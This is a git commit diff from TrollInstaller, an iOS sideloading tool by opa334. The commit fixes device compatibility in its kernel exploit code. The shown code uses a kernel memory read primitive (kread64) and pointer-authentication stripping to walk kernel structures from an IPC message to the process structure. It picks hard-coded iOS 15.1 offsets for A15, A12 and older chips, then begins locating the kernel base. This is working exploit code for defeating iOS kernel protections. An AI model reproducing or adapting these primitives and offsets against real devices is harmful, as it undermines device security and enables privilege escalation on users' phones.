Hopefully fix TrollInstaller not working on non-A15 devices (quietly updated release so redownload IPA)

This commit is contained in:
opa334 committed 2022-09-02 21:55:39 +02:00
1 parent c118d1eb33
commit e4afe70414
3 files changed
+51 -5

No files matched your search

@@ -9,6 +9,9 @@
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
extern void badLog(const char*, ...);
uint64_t g_self_proc = 0;
@@ -46,7 +49,25 @@ uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr)
uint64_t x68 = xpaci(kread64(kmsg + 0x68));
uint64_t self_ipc_space = xpaci(kread64(x68 + 0x50));
uint64_t self_task = xpaci(kread64(self_ipc_space + 0x30));
g_self_proc = xpaci(kread64(self_task + 0x3c8));
struct utsname u;
uname(&u);
uint64_t off_task_bsd_info;
#if __arm64e__
if (strstr(u.machine, "iPhone14,"))
{
off_task_bsd_info = 0x3c8; // ios15.1 a15 // proc_t::task_bsd_info
}
else
{
off_task_bsd_info = 0x3b8; //; iOS15.1 a12 // proc_t::task_bsd_info
}
#else
off_task_bsd_info = 0x3A0;
#endif
g_self_proc = xpaci(kread64(self_task + off_task_bsd_info));
// find kernel base
uint64_t pos = (fops & ~0x3FFF);